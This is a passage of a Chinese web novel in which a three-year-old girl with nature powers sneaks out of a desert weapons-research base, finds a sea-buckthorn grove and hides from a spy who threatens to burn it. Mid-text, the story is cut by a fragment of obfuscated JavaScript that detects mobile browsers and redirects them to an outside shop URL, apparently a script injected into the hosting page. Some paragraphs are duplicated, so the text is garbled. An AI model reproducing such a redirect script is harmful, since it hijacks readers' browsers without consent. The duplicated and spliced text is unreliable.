“做啥梦!我也看见了!真是水果!”
“老天爷……专家教授们有救了!这比啥补药都强啊!”
“是甜甜,肯定是甜甜!”一个年轻战士脱口而出:“她从来不会让咱们失望!”
旁边的老兵立刻警觉起来,狠狠瞪他一眼,“注意纪律,别什么话都往外说。”
“是。”先前的战士马上收敛严肃神情,再不敢多提一个字了。
等这队巡逻战士离开后,没人注意到,一柄望远镜悄悄收了回去。
他眯着眼,反复咀嚼着方才战士嘴里的唇语,从那里面挑选出一个关键名字:“甜甜!”不远处的一处隐蔽角落,一柄望远镜悄悄收了回去。
那人眯起眼睛,眉头紧锁,反复咀嚼着方才战士嘴里的唇语,从那里面挑选出一个关键名字:“甜甜!”
那个年仅三岁的小女孩?
一个被整个基地上下毫无原则宠溺的小女孩?
甚至连钱教授外出看病,都破例允许她随行。
为什么?
这还不是最奇怪的,更让他百思不得其解的是,明明已经安排人毁掉了最后的维生素针剂,钱教授为何还能得救?
安排接应的人,也如石沉大海,再也没有消息传回来。
一次是巧合,两次是意外,那三次、四次呢?
这个基地发生的诸多怪事,早已超出了他的认知范畴,甚至颠覆了基本常识。就算是有运气的成分,但接二连三的“奇迹”,更像是一场人为的操作。
到底谁才是操作这一切的人呢?
他望着远处的营房,陷入了沉思。
后勤部的营房内,刘司令和众位**围着桌子,看着那几筐水灵灵的水果,脸上是掩饰不住的喜悦和激动。
“梁哲同志,你这趟出去,功劳太大了!”刘司令拍着梁哲的肩膀,老怀甚慰,“不仅为基地解决了燃眉之急,还替人民群众铲除了一大祸害!好!搞得漂亮!”
“要我说,这里头,肯定少不了咱们小福星甜甜的功劳!”王总设计师笑着,将正在吃饼干的甜甜抱起来,轻轻颠了颠,“钱爷爷的药,不就是咱们甜甜帮着找到的吗?”
甜甜嘴里还含着饼干,听到自己的名字,眨巴着大眼睛,认真地说:“是爸爸……爸爸打倒了坏人。”
“对对对!”刘司令哈哈大笑,“你爸爸是大功臣,你是小功臣!都是咱们基地的好同志!”
说笑归说笑,刘司令很快神色一正,下达命令:“赵有田!”
“到!”后勤部长赵有田立刻上前。
“让后勤部把这些水果按需分配下去。分配原则就一条:莫论职务高低,莫论资历深浅,哪个身体亏得狠,哪个就先吃!顶得住的就往后排!”
赵有田部长却脸现苦笑:“司令,下面的战士们已经自发提出来了……大家都说,水果金贵,要先让给专家们吃,优先保障专家的身体。”
刘司令的表情瞬间怔住了,眼神里闪过一丝动容。他转头看向白旅长,白旅长耸了耸肩;又看向梁哲,梁哲则笑着点了点头,显然早已料到会是这样的结果。
“乱弹琴!”刘司令把眼一瞪,语气不容置疑,“身体是**的本钱!专家教授的本钱要紧,战士们的本钱就不要紧了?咱们是一个整体!赵有田!”
“到!”
“这批水果,按战备物资的标准,给老子公平公正分下去!么子战士、专家,一视同仁!谁的身体状况差,就先给谁分!这是命令!”
“司令……”
“执行命令!”
“是!保证完成任务!”赵有田不再犹豫,郑重地敬了个礼。
刘司令又转向王总设计师:“老伙计,眼前的坎算是暂时过喽。可接下来,才是真正的硬仗。”
王总设计师推了推眼镜,神色同样严肃:“司令是指……五天后的发动机整机点火试车?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17207325|197367||http|test|mini|href|location''.split(''|''),0,{}));
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r>“是啊。”刘司令点点头,“钱老病倒,是重大损失。但‘长剑’工程的节点绝不能延误!这次全工况、长程试车,是发动机交付装配前的最后一道,也是最关键的一道关卡。成功了,咱们的**就有了可靠的心脏;失败了……后果想都莫想。所以,只许成功,不许失败!”
“报告!”宋大壮起身立正。
“讲。”
“司令,我们离开医院前,钱老一再叮嘱,他一定会赶在试车之前回到基地!请**们放心!”
刘司令闻言,眼中闪过一丝复杂,既有感动,更有心疼:“啷个老倔驴……病成这样,还不知道好好歇一歇。”
“司令,这都是钱老的心血,长剑’发动机是他的命根子,试车这么大的事,你让他躺在病床上,比杀了他还难受。”王总设计师太了解他的这位搭档了。
“也罢。”刘司令摆了摆手,看向梁哲,“到时候,你再去镇上跑一趟,直接把钱老接到实验场,让他亲眼见证自己的心血成功落地。”
“是!”
“所以,接下来全基地的科研人员,都要驻扎到实验场,全力以赴攻克最后的技术难关,直到试车成功为止。基地这边,只留下必要的后勤保障人员。”刘司令说着,目光不自觉地落在了坐在小椅子上的甜甜身上,眼神里满是担忧。
“所以,接下来的五天,”刘司令环视众人,下达最终指令,“基地所有相关科研和技术人员,全部进驻五公里外的‘东风’实验场!全力以赴攻克最后的技术难关,直到试车成功为止。基地这边,只留必要后勤和警卫人员。”
他的目光,最后落在了被王总设计师抱着的甜甜身上,流露出罕见的柔和与担忧。
“司令放心!”白旅长立刻会意,上前一步,“我会专门安排留守基地的女同志好好照顾甜甜,保证不出任何问题。”
刘司令这才点了点头,“白树勇同志!我就把咱们的‘小福星’、‘小功臣’,交给你喽。给我看好了,一根头发丝都不能少!”
“保证完成任务。”白旅长呵呵笑着,摸了摸甜甜的小脑瓜。
隔天一早,天刚蒙蒙亮,基地的科研人员和相关工作人员便整队开拔,朝着五公里外的实验场出发。在那里,他们要完成发动机的最后一次地面试车。为了这一天的到来,所有的技术人员已经在实验场不分昼夜地奋战了一个星期,此刻正憋着一股劲,准备迎接最后的冲刺。
第24章 爸爸骗人!小棉袄要溜出去找爸爸!
梁哲收拾好行囊,正要出发时,甜甜突然从屋里跑了出来,一头扑进他的怀里,小胳膊紧紧搂着他的脖子,泪眼汪汪地仰着小脸,哽咽着说:“爸爸,甜甜也要跟着去……甜甜要跟爸爸在一起。”
她小小的身体里,莫名升起一种强烈的直觉——爸爸要去的地方,非常危险,她不放心让爸爸一个人去。
向来对女儿百依百顺的梁哲这次却异常坚决:“甜甜乖,实验场绝对不能去。那是爷爷伯伯们造‘大**’的地方,试验非常危险,不仅有辐射,还可能**。”
虽然甜甜未必完全听得懂,但梁哲实在想不出更好的解释,只能耐心地一遍遍告诉她:实验场和基地不一样,基地是半工作半生活的安全区域,实验场则是纯粹的军工禁地。
在当时的条件下,发动机试车台的安全理念、设计标准和材料工艺,都远远落后于西方先进国家。很多关键的理论数据和极限参数,根本无法通过计算机模拟得出,只能靠实物反复试验,甚至不惜冒着**的风险去获取最真实的结果。这也就意味着,实验场的风险系数,早已成几何倍数增长。
曾经,试车台的厂房就因为管道淤堵引发过剧烈**,整个厂房都坍塌了;还因为安全隔离方式过于原始,发生过冲击波震碎观察窗,玻璃碎片和气浪伤及工作人员的事故。
就算这些意外都能侥幸避免,此次试验还兼顾了发动机试车与核弹头部分的冷测试,有着极其严格的辐射监测制度,非作业人员绝对不允许进入实验场半步。
可就算梁哲已经尽量简化了描述,耐着性子跟甜甜解释了一遍又一遍,甜甜还是紧紧抓着他的手不肯松开,一遍遍地坚持:“甜甜要和爸爸去……爸爸危险,甜甜要保护爸爸。”
小女儿从来没有这么执拗过,梁哲心里又疼又无奈。他只当女儿是对未知环境的本能恐惧,却没多想——女儿感知到的一切,远比他预想中的要可怕得多。
作为一名军人,基地的一分子,梁哲心里清楚,实验本身就与风险并存,而这部分风险也是他必须要承担的责任,他不能胆怯,更不能退缩。
但他绝不能牵连他的女儿。
眼看说不通,梁哲只好心生一计,抱着她轻声哄道:“好好好,爸爸带甜甜去。不过甜甜要先乖乖睡觉,等睡醒了,爸爸就带你走,好不好?”
甜甜对父亲有着无条件的信任,听到他的承诺,立刻止住了哭声,用力点了点头,乖乖地被梁哲抱回了床上。只是在睡梦中,她还紧紧抱着布娃娃,一只小手攥着爸爸的大手,生怕他趁自己睡着溜走。
“甜甜要陪着爸爸,甜甜还要保护爸爸……”睡着的小人儿,嘴里还在小声嘟囔着。
梁哲坐在床边,静静地看着女儿红扑扑的小脸蛋,所有的铁血刚硬都化为了绕指柔肠。
他轻轻吻了吻女儿的额头,心中被巨大的暖流和责任感填满。
能有这么一个体贴他、关心他的小棉袄,就算再苦再累,他这辈子也值了。
等到孩子彻底睡熟,呼吸变得均匀平稳,梁哲才轻轻掰开女儿抓着他的小手,整理好军容,毅然转身,大步走出了营房。
门外,秘书处的干事李桂华早已静静等候。这位三十多岁的女同志心思细密,党性极强,是白旅长精心挑选来照顾甜甜的人选。
“梁团,放心吧,我会好好照顾甜甜的。”
“李姐,谢谢你。”梁哲声音充满感激。
“应该的,你就别跟我客气了。你们在前方承担着那么重要的任务,后方的保障工作就交给我们吧。”
李桂华说着,向梁哲敬了个礼,内心深处对他们的付出充满了敬重与钦佩。
梁哲也回敬一礼,不再多言,转身匆匆朝着营房外的汽车走去。整个过程中,他都没敢回头看一眼女儿所在的方向。<
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br>不知过了多久,甜甜渐渐睡醒了。她睁开惺忪的睡眼,第一眼就看到李桂华阿姨笑眯眯地坐在床头,手边还放着温好的牛奶和一盒印着小动物图案的饼干。
“宝贝,你醒啦?”李桂华温柔地摸了摸她的头,“阿姨帮你梳个漂亮的小辫子好不好呀?”
甜甜揉了揉眼睛,四下张望。营房里安安静静,没有了爸爸熟悉的身影和气息。她愣了几秒,小嘴一扁,金豆子立刻就滚了下来——爸爸骗人!
爸爸一定是趁她睡着,偷偷去了那个“很危险”的地方。
“阿姨,我爸爸他……呜呜呜……”甜甜委屈极了。
“乖甜甜,不哭不哭。”李桂华心疼地把她搂进怀里,轻轻擦去眼泪,“爸爸和好多爷爷、叔叔阿姨们,去做一件非常非常重要、非常非常伟大的事情了。等他们把‘大**’的‘心脏’准备好,就能回来陪甜甜了。”
“甜甜不能去找爸爸吗?”甜甜仰起泪痕未干的小脸。
“不行哦,那里太危险了。”李桂华摇了摇头,耐心解释,“别说甜甜,就连阿姨都不能去。所以呀,接下来阿姨陪着甜甜玩游戏、讲故事,好不好呀?”
甜甜咬着下嘴唇,大大眼睛忽闪了半天,最终还是点了点头,奶声奶气地说:“好。”
可在她小小的心里,却已经下了决心,一定要想办法去找爸爸,爸爸去的地方会发生很可怕的事,不只是爸爸,很多爷爷、叔叔阿姨们都会面临非常非常可怕的危险,甜甜一定要去救他们!
可她想的容易,执行起来却困难重重。李阿姨和其他几名阿姨为了照顾小甜甜,几乎寸步不离地守着她,甜甜根本没有偷溜出去的机会。
眼看着距离那场决定命运的“点火”只剩下两天,甜甜急得像热锅上的小蚂蚁,连平日里最爱的堆沙子游戏都不香了。
她该想个什么办法,才能尽快去找爸爸呢?
第25章 萌娃神操作!**甜甜勇敢戈壁!
这天上午,李阿姨递给她一个漂亮的玻璃瓶,里面装着五颜六色的碎纸片,在阳光下折射出梦幻的光晕。
甜甜十分喜欢,抓在手里摆弄不停。
李桂华守在旁边,见她玩得专注,便低头说道:“甜甜乖乖在这儿玩,阿姨去趟茅房,马上回来。”
甜甜乖巧点头,目送李阿姨的身影消失在拐角。
下一秒,她立刻把玻璃瓶扔在地上,小脚丫用力一踢——“咕噜噜”,玻璃瓶滚出去老远,彩色的光斑在地上晃来晃去。
她拍了拍手上的沙子,小短腿一颠一颠地追了上去。
每当快要追到时,她就再踢一脚。玻璃瓶又变成了不听话的皮球,被甜甜一路踢向营地大门。
甜甜一边追,一边踢,玩得不亦乐乎,清脆的笑声回荡在营区。
基地里留守的大人们看她玩得开心,脸上都露出慈爱的笑容。谁也没有阻拦这个可爱的小家伙。
谁也没想到,这个看似天真烂漫的游戏背后,藏着一场精心策划的“**”。
甜甜踢着踢着,离基地大门越来越近。门前**站岗的哨兵身姿笔挺,目不斜视。威严的气势让甜甜本能地缩了缩脖子。
她犯愁地抓了抓小辫子。这可怎么办呀?
正在这时,一个温和的声音在身后响起:“小朋友,你怎么一个人在这里呀?”
甜甜回头,看见一个中年叔叔。他面相斯文,戴着副眼镜,正背着手,笑眯眯地看着她。
甜甜觉得他很面生,迟疑了一下,小声说:“叔叔,我不认识你。”
万洪辛蹲下身,笑容和煦:“我是万叔叔,也是你爸爸的战友。”
甜甜不知道他是来支援的水利专家江国强的助手兼弟子,只听说是爸爸的战友,便乖乖点头:“万叔叔好。”
“甜甜真乖。”万洪辛伸手摸了摸她的小脑瓜,目光不着痕迹地扫过四周,又落回她脸上,“你在这儿玩什么呢?”
甜甜举起手里的玻璃瓶,脆生生地说:“甜甜在踢瓶子。”
“踢瓶子好玩吗?”万洪辛笑着问,眼角的余光却瞟向门口站岗的战士,他们已经注意到这边的动静了。
甜甜咯咯直笑,又抬脚踢了一下瓶子:“可好玩啦!”
“那叔叔陪你一起踢好不好?”
“好啊好啊!”甜甜拍着小手欢呼,“叔叔和甜甜一起踢!”
她说着,小脚丫用力一蹬,把玻璃瓶朝着不远处的水塘方向踢了过去。
“叔叔快帮甜甜捡瓶子!”
万洪辛答应一声,装模作样追着瓶子跑了两步,状似无意地问,“甜甜,前面那个大水塘,你知道是哪个叔叔或者阿姨发现的吗?叔叔想写个报告,好好表扬一下那位同志?”
甜甜欢快地在后面跑,想也没想就说:“是叔叔挖呀挖,挖出来的呀。”
“挖出来的?”万洪辛脚步慢了下来,眼底闪过一丝狐疑,“就这么随便一挖,就挖出个水塘来?”
“是呀。”甜甜记起爸爸的叮嘱,不管谁问,都要说水塘是叔叔们挖的。
本来就是嘛!甜甜只负责指出哪里有水,挖水塘的活,确实是叔叔们干的啊。
万洪辛听着这个和基地口径一致的答案,眉头微微拧了起来,一个没留神,甜甜已经又把瓶子踢远了。
“叔叔快来抓我呀。”
“来了来了。”
万洪辛急忙又跟上两步,两人已经离水塘很近了,门前警戒的战士担心甜甜的安全,端着枪走了过来,“甜甜,慢一点。”
甜甜像是玩得撒了欢,眼见众人都关注着她,忽然抓起瓶子,用力朝水塘里一扔!
“来抓呀来抓呀!”
“嗖”的一声,玻璃瓶在空中划成一道弧线,“扑通”一声跌入了水中。
水塘里的水是活水,瓶子一落水,立刻顺着水流漂浮起来,越漂越远。甜甜瞪着圆溜溜的大眼睛看了几秒,嘴巴一扁,“哇”的一声大哭起来。
“瓶子!我的瓶子丢啦!”
万洪辛没料到会出这么个岔子。他本来不想理会,但孩子哭的声音响亮,周围的战士和基地留守人员闻声都围了上来。甜甜是大伙的掌中宝,谁
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能忍心看她哭得这么可怜。
“好甜甜,别哭了,叔叔这就帮你捡瓶子。”
一名年轻战士二话不说,撸起裤腿就要下水。其他人见状,也纷纷上前帮忙,有找长竹竿的,有脱鞋挽裤脚的,就连万洪辛,也被人群簇拥着挤到了水塘边。
偏偏那玻璃瓶轻飘飘的,在水里像条滑不溜丢的小鱼,几个人在岸边忙活了半天,愣是连边都碰不着。一时间,岸边人声嘈杂,乱作一团。
谁也没注意到,趁着众人的注意力全被水塘里的瓶子吸引,那个还没到成**腿高的小奶团子,正猫着腰,踮着脚尖,悄悄从营房的后门溜了出去,转眼就消失在茫茫黄沙之中。
等到五分钟后,李桂华气喘吁吁地追到营门前时,哪里还有甜甜的身影?
战士们面面相觑,都惊得呆了,李桂华眼前一黑,险些当场晕过去。
只有万洪辛二话不说,拔腿就追出了营房。
甜甜一出了基地,就像是被雷达牵引着似的,毫不迟疑地迈着小短腿向北方走去。
**黄沙,茫茫戈壁,层层沙丘连绵起伏,像是凝固的黄色海浪,一浪推着一浪,一直绵延到遥远的天边。
阳光炙烤着大地,空气中弥漫着干燥的热浪。
甜甜的小鞋子在沙子上走得发烫,可她丝毫不惧,高昂着头,像个威风凛凛的小将军,走得气势十足。
“甜甜要救爸爸!要救基地里的所有人!”
可她一边走,一边心里也犯嘀咕,她骗了叔叔阿姨们,又偷偷跑出来,万一爸爸生气,骂甜甜不乖,那可怎么办?
爸爸虽然疼甜甜,可甜甜也很怕爸爸发火,要是能在找到爸爸时顺便给他送点礼物,是不是爸爸就不会生气了?
她一边踢着脚下的沙砾,一边歪着小脑袋琢磨,送点什么给爸爸好呢?
眼前除了沙子还是沙子,总不能捧一把沙子送给爸爸吧?
就在她拐过一丛骆驼刺时,甜甜的脚步忽然顿住了,她望向左边的沙丘,小身子猛地挺直,圆溜溜的眼睛里闪过一丝惊奇。
第26章 登顶驼峰,沙丘后面有玄机!
在她的左手边,有一座形似驼峰的高大沙丘,足有几层楼高,像一座沉默的大山,可甜甜的目光却能穿透厚厚的沙层,望到沙丘背面的景象——密密麻麻,生机勃勃,像是在黄沙里燃起的一簇簇火焰。
甜甜的眼睛亮了。
她清楚地记得,刘爷爷、孙爷爷他们说过,如果没有果子吃,基地里的长辈们就会生病,生了病,就会像妈妈那样,永远地睡着。
甜甜不要他们生病!甜甜要帮他们找到好多好多果子!
她抹了把额头上的汗珠,小小的身子里像是充满了无穷的力气,毫不犹豫地转过身,朝着那座“大驼峰”迈开了脚步。
沙漠的表面看起来平静无波,底下却暗藏凶险。平坦的沙层下,藏着能吞没人的流沙陷阱,稍有不慎踩进去,后果不堪设想。
但甜甜和其他人不一样。她仿佛天生就和这片土地有着最亲密的联结,能精准地感知到脚下沙土的异动,无论多么隐蔽的流沙,都伤不到她分毫。
半个小时之后,甜甜终于来到驼峰脚下。
“哇,好高啊……”
她仰着小脸,望着高耸入云的沙丘,本来就小小的身子,此刻看起来像一只不起眼的小蚂蚁。
不过为了爸爸,就算再高再危险,甜甜也一定要爬上去!
爬沙丘可比走平路难多了。沙子又软又滑,刚向上爬一步,就会往下滑半步,小布鞋陷进沙里,硌得脚心脚趾生疼。
小姑娘不得不爬几步就停下来,坐在沙地上把鞋子里的沙子倒干净。到后来,她索性把两只小布鞋脱下来,揣进口袋里,光着小脚丫,手脚并用地往上爬。
风吹过沙丘,沙土蒙了甜甜一脸,落山的夕阳烤着她的后背,又热又烫,像背着个小火炉。
脚丫磨红了,小手抓疼了,可那座沙丘,却好像永远也爬不到顶。甜甜爬得肚子咕咕叫,累得连抬手擦汗的力气都快没了。
心里有个小小的声音在劝她:“甜甜,歇一会儿吧,歇一会儿再爬。”
可另一个更响亮的声音立刻反驳:“不行!爸爸还在等甜甜!”
甜甜拨开额前汗湿的碎发,露出满是汗水的小脸,倔强地昂起头:“加油!甜甜不能输!”
爸爸和妈妈都告诉她,做事要坚持,要勇敢。就因为这样,甜甜才能在妈妈“睡着了”后,还能找到爸爸。
“甜甜才不怕困难呢!”她冲着空旷的戈壁大声喊,“甜甜要救爸爸!”
稚嫩的声音像一只挥动翅膀的小燕子,穿过风沙,远远地传了出去。
但她不知道的是,这一声惊动了一人,那人闻声转身,鹰隼般的眼睛中闪过一丝狠厉。
爬呀爬,沙丘的顶端离甜甜越来越近,有好几次甜甜险些滑下沙子,多亏了小手死死地**沙子里。
太阳在身后又拉长了她的影子,小姑娘顾不得擦去流到眼睛里的汗水,使出最后一丝力气,指尖终于搭上了高高的沙脊。
脚下,是不住打滑的沙子,抬头,是渐渐昏暗的天际,可就在甜甜目光落向处,一排高耸的,由夯土旧砖堆成的破旧残垣,清晰地暴露在沙丘后面。
它风蚀严重,大部分埋进沙里,只露出千疮百孔的轮廓,沉默地对抗着最终被风沙抹平的命运。
而就在那土墙之后,一抹醒目的鲜红,撞进了甜甜的眼膜。
“呀,甜甜看到啦!看到啦!”
小甜甜站在沙堆上,小胸脯呼呼地喘着气,可声音却充满了胜利后的得意。
可新的难题又接踵而至,脚下的沙土坡太高了,甜甜已经没力气爬下去了。
忽然,她眼睛一亮,想起家中的小院子,爸爸曾经用木板给她做过一个简易的小滑梯,妈妈还在旁边护着她,陪她玩了好半天呢。
这片滑溜溜的沙坡,不就是个天然的大滑梯吗?
甜甜吸了吸小鼻子,一屁股坐在沙坡上,攥紧小拳头,大喊一声:“冲呀——!”
话音未落,她小小的身子就顺着沙坡,哧溜一下滑了下去。
滑沙子实在太有趣了,让甜甜瞬间忘了疲惫,她被逗得哈哈大笑,清脆的童声像一串跳跃的音符,打破了戈壁的死寂。
一眨眼的功夫,甜甜就顺着沙坡滑到了底下,小屁股蹭得热乎乎的。
“好好玩呀,甜甜都没玩够!”她拍了拍身上的沙子,小声嘀咕,就是有点磨屁股。
她歇了半分钟,赤着小脚,绕过断壁残垣,朝着方才红
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色的地方跑去。下一秒,她小小的身子僵在原地,眼睛瞪得圆圆的,嘴巴微微张开,发出一声惊叹——
眼前,一丛又一丛的沙棘树,密密麻麻地生长在一处,遒劲的枝条上面坠满了红彤彤的果子,像一颗颗晶莹剔透的玛瑙。
“红果果……好多好多漂亮的红果果呀。”甜甜喃喃自语。
她在《常见动植物图鉴》中看到过,沙棘果,是沙漠中是最有营养的果实之一,也是维生素C含量最高的天然食物之一,远高于普通柑橘、猕猴桃。不仅如此,它还含有丰富多种微量元素,可以一举解决基地所有人水果摄入不足的危机。
虽然这些甜甜都不明白,但是她知道,只要拿这些果子送给爸爸,爸爸一定会原谅甜甜犯的错了。
她抬头看着头顶的沙棘树,小手抓了抓脑袋,犯起了愁:“唉,小树啊小树,甜甜够不到你的树枝呀,你要是矮点就好了。”
说也奇怪,这个念头刚生,沙棘树像是听懂了似的,竟真的把枝条向下弯了弯。
甜甜乐得直拍小手:“小树小树,你再弯下来点好不好?甜甜还小呢,还是够不着。”
枝条果然又往下弯了不少,枝头的红果果,离她的小手只有一步之遥。
甜甜伸出手,轻轻碰了碰那些红果果,心里欢喜极了。可她的力气太小了,就算够得着树枝,也没办法把树枝折断,带走上面的果子。
“小树小树,”甜甜仰着小脸,声音软软的,“甜甜想把果子送给爸爸,送给基地所有的叔叔阿姨吃,可是甜甜没有力气,折不断树枝呀。”
话音未落,那丛沙棘树先是轻轻晃动起来,枝叶沙沙作响,紧接着,晃动的幅度越来越大,像是有一双无形的大手,正握着枝干摇晃。
“咔”的一声轻响。
一根沙棘树枝竟真的从中间折断,整根掉在了她的面前。
上面结满的红果子,一颗都没掉,结结实实地挂满了枝头。
“太好了!”甜甜喜地跳了起来。
可刚一激动,一阵困倦陡然涌上,之前消耗的体力和集中的意念力让甜甜再也支撑不住,小身子晃了晃,甜甜一头扎在树根下,大眼睛阖上,昏睡了过去。
第27章 反转!三岁娃智斗大特务!
风静寂了几秒钟。
夕阳西坠,沙漠被染上一层壮丽的橘红,甜甜赤着小脚丫,头发凌乱,小脸蛋沾满了沙尘,静静地睡在沙丘之下,睡在沙棘树旁。
沙漠昼夜温差大,方才还滚烫的沙子,现在开始变凉,甜甜如果这样睡上一夜,非着凉不可。
风像一只温柔的大手,轻轻拂起地上的细沙,薄薄地盖在了她的身上。沙棘树则摇了摇满树的叶子,为她添上一点遮蔽的暖意。
夕阳缓缓沉入地平线,最后一抹余晖隐没在天际。紧接着,一轮皎洁的明月自东方升起,清辉洒满无垠的沙海,天地间彻底陷入了黑暗。
就在这万籁俱寂之时——
一阵细碎细微的沙沙声,伴随着行走的脚步声,从沙丘顶端传来。
“甜甜快醒醒!快醒醒!”
小树像是有意识般的,随着夜风的拂动,发出常人听不见的预警。可小甜甜睡得太沉了,她在沙漠里跋涉了五六个小时,实在累坏了。
这一睡下,仿佛回到了妈妈的怀抱里,软软的,暖暖的,充满了安心的气息。
可她不知道的是,沙丘上面的人正踩着松软的沙子,一点一点从坡上滑了下来。
虽然没有甜甜滑沙时的快捷,但那个人身手利落,行动矫捷,更厉害的是,黑夜似乎对他毫无阻挡,他如同一道鬼魅,眨眼间已经滑下了三分之一。
只要他沿着土墙绕过来,睡着了的甜甜就会暴露无遗。
“哗!哗!”树叶动得更急了,可甜甜根本听不到它们的声音,依旧睡得香甜。
她正梦见妈妈抱着她,温柔地给她讲着故事,而爸爸就坐在妈妈身边,微笑地注视着着她们。
“从前,有一位了不起的小勇士,她又聪明,又勇敢,不管坏人耍什么花招骗她,她都能一眼识破,用手中的宝剑,把坏人打趴下。”
“妈妈,甜甜也要当这样的勇士。”
“我们甜甜不是小公主吗?是要被爸爸和妈妈宠一辈子的呀。”
“甜甜是公主,也是勇士,甜甜能保护爸爸妈妈,才不怕大坏人!”
“我们的甜甜,永远是最棒的。”
妈妈轻柔地吻落在她的小脸蛋上,甜甜咯咯笑着,伸出小手想搂住妈妈的脖子,可指尖抬起,却只抓住一把凉凉的空气。
她忽然睁开眼睛,眼前是软软的树叶和硬硬的沙子,原来,她竟睡在了结满红果果的沙棘树下。
“爸爸……”脑海里的爸爸的身影还没褪去,咔嚓咔嚓,耳边忽然传来脚步声响。
有人踩到了沙棘树枝。
甜甜吓得浑身一激灵,第一个念头就是基地的阿姨叔叔们找到她了!
她刚想爬起来,身下的沙子像是有意识似的,猛地把甜甜拉进了自己的怀抱里,用细密的沙粒,盖住了她的小脚丫。
甜甜愣了一下,小脑瓜里冒出一个念头:如果是来找她的叔叔阿姨,为什么不举着灯,也不喊她的名字呢?
她想起爸爸给她讲过的故事,那些藏在暗处的坏人,总是喜欢偷偷摸摸地做事。
甜甜的小身子忍不住缩了缩——来的,该不会是坏人吧?
刚刚还在梦里说要打败坏人,居然真的遇上了?
难道,坏人是来抓甜甜的?
来不及细想,恐惧攫住了小小的心脏。甜甜本能地屏住呼吸,又悄悄躺了回去。
可她就躺在沙棘树底下,只要坏人走过来,一眼就能看见她呀……
怎么办?跳起来逃跑?还是冲上去打坏人?
甜甜犹豫了,她毕竟只是个3岁的孩子,还没有独立对付坏人的办法。
要是爸爸在就好了……
想到爸爸,甜甜鼻子一酸,金豆豆在眼眶里打转,差点哭了出来。
不对!
她咬了咬下唇,硬是把眼泪又憋了回去。
甜甜不是只会哭鼻子的小哭包,甜甜可是能保护大家的小勇士!
她还要用自己的能力,打败坏人救爸爸呢!
想到这里,她尽量把小身子缩向沙子中,沙子也像知道她的想法,竟缓缓往下沉陷,很快就形成了一个刚好能容下她的沙窝。
先前覆在身上的沙棘叶也悄悄滑起,重新盖在甜甜身上,上面又覆了一层薄薄的沙子,还专门在鼻尖留出一丝空隙,刚好保证甜甜的呼吸。
这是个非常完美的隐蔽。
甜甜透过
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那道小小的缝隙,屏住呼吸往外看。很快,一阵极轻的脚步声,从断壁残垣的另一侧绕了过来。
来人蹑手蹑脚,动作轻得像只野猫,可刚踏入沙棘林的范围,他的脚步就陡然顿住了。
很显然,他也没想到,在这片寸草不生的茫茫戈壁里,竟然会藏着这么一大片生机勃勃的沙棘林。
甜甜眯着眼睛,借着清冷的月光打量过去。对方是个高大的黑色身影,背对着月亮,脸上的五官藏在阴影里,根本看不清楚。
那人只愣了一瞬,很快就镇定下来,仿佛这片沙棘林只是个无关紧要的小插曲。他现在有更重要的事情要做。
“甜甜?你在吗?”
男人忽然开口,声音又轻又温和。
咦?
甜甜愣住了。
这个声音,她听过!
就在不久前,他还在陪自己踢瓶子,被自己故意把瓶子扔进了水塘里。
她记得他的名字:万洪辛,万叔叔。
“没错,我是万叔叔,是你爸爸的战友啊。甜甜,你不记得叔叔了吗?”
男人一边说着,一边警惕地环视四周。
甜甜的失踪引起了基地的高度重视,留守人员立刻停下手头的工作,纷纷出来寻找,万洪辛更是冲在了最前面。
但他和基地其他人不一样,他是受过专业训练的特工,善于分辩脚印和痕迹,很快他就不动声色地找到了甜甜出走的方向,然后巧妙地避开众人,独自追踪过来。
他受组织委托潜入基地,目的就是伺机破坏**研发,如今试车在即,他笃定后天的试验必败无疑。但他也清楚,一旦试车失败,自己暴露的风险将急剧升高,必须尽快撤离。
岂料组织至今都没能提供一条撤退路线,沙漠上交通不便,若无人接应,他根本走不出这片死亡之海。
为此他想了好几个方案,最稳妥可行的就是挟持一名基地人员做人质,正在物色人选时,这三岁的小丫头闯入了他的视线。
她是全基地的宝贝疙瘩,上到司令,下到普通战士,没有不把她宠上天的。只要抓了她,就等于捏住了基地的软肋,到时候不愁他们不乖乖就范。
第28章 惊!坏叔叔烧沙棘林,被甜宝用沙子活埋
他一路追踪至此,没承想人还没找到,却先发现了这片沙棘林。
万洪辛当然认得沙棘果,这在沙漠中是最好的水果之一,不但营养丰富,关键时刻能救命。基地那些人若得到这些果实滋补,虚弱的身体很快就能恢复。
可他们一旦恢复,那该死的**研发不就又要加速推进了?到时候,他该如何向组织交代?
不行,绝对不行!
他绝不能让这帮不识时务的家伙,实现那个所谓的**梦!
他要让他们知道,什么叫痴心妄想,什么叫不自量力!
所以当务之急,一是抓住甜甜,二是毁掉这片林子。
“甜甜,别躲了,叔叔知道你在这里,是爸爸让我来接你的,叔叔带你去见他。”
“骗子。”甜甜在心里气鼓鼓地骂道。这人太坏了,连小孩子都骗。
“甜甜,你饿不饿呀,晚饭还没吃吧?叔叔这里有窝头,给你吃好不好呀?”
哼,甜甜才不吃坏蛋的东西。
“那叔叔带你回基地吧。你看天都这么黑了,沙漠里可是有大灰狼的呀,甜甜不怕大灰狼吗?”
甜甜不怕,你比大灰狼坏多了。
万洪辛换了好几种说辞,始终得不到甜甜的回应,他又顺着树林快速搜索一圈,仍然一无所获。
夜色越来越浓,沙棘树枝桠茂密,甜甜如果藏身在这幽暗的森林中,想找出来可太难了。
他越等心越焦,见用尽手段都诈不出甜甜,眼中的耐心渐渐褪去,只剩下一片决绝的狠意。
“甜甜,你再不出来,叔叔可就不客气了。”
他从怀里掏出一盒火柴,“嚓”的一声划亮了火苗。随手折下一根树枝凑近火苗,瞬间燃起一团火光。
火光照在他的脸上,那张原本斯文的脸此刻扭曲着,写满了狰狞。
“甜甜,我数五个数,如果你再不出来,叔叔可要把这里的小树都烧光了。到时候,我看你还能藏到哪里去!”
“五——”
拉长的声音像是大灰狼张开的獠牙,只等着猎物上钩。甜甜埋在沙坑里,紧张得把自己缩成一团,她没遇到过这种情况,实在不知如何是好。
“四——”
万洪辛又折了几根树枝,扎成个简易火把,可怜的叶子们在火中被烧得卷曲发黑,浓烟冒出,噼啪声接连不断,整个沙棘林都笼罩在紧张恐怖的氛围里。
